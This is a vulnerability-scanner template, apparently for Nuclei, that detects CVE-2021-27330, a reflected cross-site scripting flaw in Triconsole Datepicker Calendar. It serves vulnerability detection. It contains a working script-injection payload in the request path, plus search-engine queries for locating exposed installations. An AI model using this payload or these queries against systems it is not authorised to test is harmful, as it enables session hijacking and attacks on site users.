Triconsole Datepicker Calendar before 3.77 contains a cross-site scripting vulnerability in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
PoC代码[已公开]
id: CVE-2021-27330
info:
name: Triconsole Datepicker Calendar <3.77 - Cross-Site Scripting
author: pikpikcu,daffainfo
severity: medium
description: |
Triconsole Datepicker Calendar before 3.77 contains a cross-site scripting vulnerability in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of Triconsole Datepicker Calendar that properly validates user input to prevent XSS attacks.
reference:
- https://www.exploit-db.com/exploits/49597
- http://www.triconsole.com/
- http://www.triconsole.com/php/calendar_datepicker.php
- https://nvd.nist.gov/vuln/detail/CVE-2021-27330
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-27330
cwe-id: CWE-79
epss-score: 0.22381
epss-percentile: 0.95623
cpe: cpe:2.3:a:triconsole:datepicker_calendar:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: triconsole
product: datepicker_calendar
shodan-query: http.title:triconsole.com - php calendar date picker
fofa-query: title=triconsole.com - php calendar date picker
google-query:
- intitle:TriConsole.com - PHP Calendar Date Picker
- intitle:triconsole.com - php calendar date picker
tags: cve2021,cve,xss,edb,triconsole
http:
- method: GET
path:
- '{{BaseURL}}/calendar/calendar_form.php/"><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- '<title>TriConsole.com - PHP Calendar Date Picker</title>'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100a34f9daec7a0073dbe739926cb9d43efb0be6e436b3721c44345dfd3298aa3be022100c9532ac1dee735b72f3f7f926b4d7b691f102a50048d1f169dbcd27a69fa7559:922c64590222798bb761d5b6d8e72950